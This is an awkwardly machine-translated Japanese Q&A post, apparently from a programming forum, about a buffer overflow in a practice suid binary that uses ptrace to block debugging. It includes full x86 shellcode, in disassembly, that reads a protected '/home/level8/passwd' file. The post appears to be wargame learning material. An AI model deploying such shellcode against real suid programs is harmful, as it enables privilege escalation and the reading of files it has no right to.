私は、デバッグを防ぐためにptrace
を使用するコードを悪用しようとしています。
この実行ファイルはsuidなので、クラックすることはありません。 スタックセグメント実行可能ファイルもあります。この実行ファイルは再生用に作られています。
私は自分の脆弱性を発見した後、バッファオーバーフローを試みました。私はシェルを起動するシェルコードを書きました。私の驚いたことに、シェルコードはハングします。 (BASHはプロセスが停止したと報告しています)
いくつかのテストの結果、ptraceはデバッグを妨げるだけでなく、シェルコードが実行されないという結論に達しました。
ptraceについて読むと、ptrace(PTRACE_TRACEME,0,1,0)
を呼び出すプロセスは、syscall execを起動するとすぐに停止することがわかりました。だから私は戦略を変えました.ptraceは実行可能ファイルを起動するとすぐにプロセスを停止するので、ファイルを読み込むシェルコードを試しました。私の目的は、シェルを起動するのではなく、私のユーザーが許可を得ていないファイルを読み込むことです。やっと、このコードもハングアップしました。
誰も私のコードは、それはexecコールを含んでいないにもかかわらず、それがぶら下がっている理由を説明することはできますか?
プロセス内からptraceを停止する方法はありますか?
私の場合は、ptracedプロセスに親がなく、より高い特権で実行されているため、suidを引き起こします。どのように制御できますか?親なしのPTRACE_TRACEME
私のコードには、execを含めないでください。
ここに私のシェルコード:
0: 31 c0 xor eax,eax
2: 31 db xor ebx,ebx
4: 31 c9 xor ecx,ecx
6: 31 d2 xor edx,edx
8: eb 38 jmp 0x42
a: 5b pop ebx
b: c6 43 13 01 mov BYTE PTR [ebx+0x13],0x1
f: fe 4b 13 dec BYTE PTR [ebx+0x13]
12: b0 05 mov al,0x5
14: 31 c9 xor ecx,ecx
16: cd 80 int 0x80
18: 89 c6 mov esi,eax
1a: eb 06 jmp 0x22
1c: b0 01 mov al,0x1
1e: 31 db xor ebx,ebx
20: cd 80 int 0x80
22: 89 f3 mov ebx,esi
24: b0 03 mov al,0x3
26: 83 ec 01 sub esp,0x1
29: 89 e1 mov ecx,esp
2b: b2 01 mov dl,0x1
2d: cd 80 int 0x80
2f: 31 db xor ebx,ebx
31: 39 c3 cmp ebx,eax
33: 74 e7 je 0x1c
35: b0 04 mov al,0x4
37: b3 01 mov bl,0x1
39: b2 01 mov dl,0x1
3b: cd 80 int 0x80
3d: 83 c4 01 add esp,0x1
40: eb e0 jmp 0x22
42: e8 c3 ff ff ff call 0xa
47: db '/home/level8/passwd'
ほとんどの場合、プロセスがptracedされているときにクラッシュすると、最初にトレーサに通知されますが、この場合はトレーサは同じプロセスなので、デッドロックです。 – immibis
@Alessandro:これは批評家でもなく、これだけのアドバイスですが、この質問は[RE.SE](https://reverseengineering.stackexchange.com/)に適しています(私は恥知らずに広告をしていますRE.SE!:)のために)。 – perror